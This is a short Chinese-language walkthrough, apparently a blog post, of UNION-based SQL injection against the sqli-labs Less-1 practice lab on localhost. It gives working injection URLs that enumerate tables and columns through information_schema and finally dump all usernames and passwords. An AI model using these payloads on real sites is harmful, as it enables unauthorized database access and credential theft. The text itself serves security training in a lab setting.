union注入的最终目标是拿到靶机中数据库里的所有用户名和密码
(1)database()知道所在的数据库
(2)拿到表名和列名
数据库:在MySQL中,information_schema 数据库包含MySQL数据库的简要信息,其中包含有两个所需数据表,一个是tables-表名集合表,一个是columns-列名集合表
查询表名:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables --+(会显示MySQL里所有的数据库包含的所有表名)
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+(只显示当前查询所在数据库里的表名,但无法完全显示出来,因而需要用到group_concat()函数)
group_concat()函数的作用:确保所有查询信息能放到一行显示出来
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
![](https://img-blog.csdnimg.cn/980cf8d3072244b39ddd7bd25663d637.png)
查询列名:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() --+
![](https://img-blog.csdnimg.cn/76bc1d6563704557822a90b44eaca146.png)
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
![](https://img-blog.csdnimg.cn/bad0d163c6bd45cc945630acba52803d.png)
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username,'-',password),3 from users --+
![](https://img-blog.csdnimg.cn/293467df9f4c4995817c0846b36ad420.png)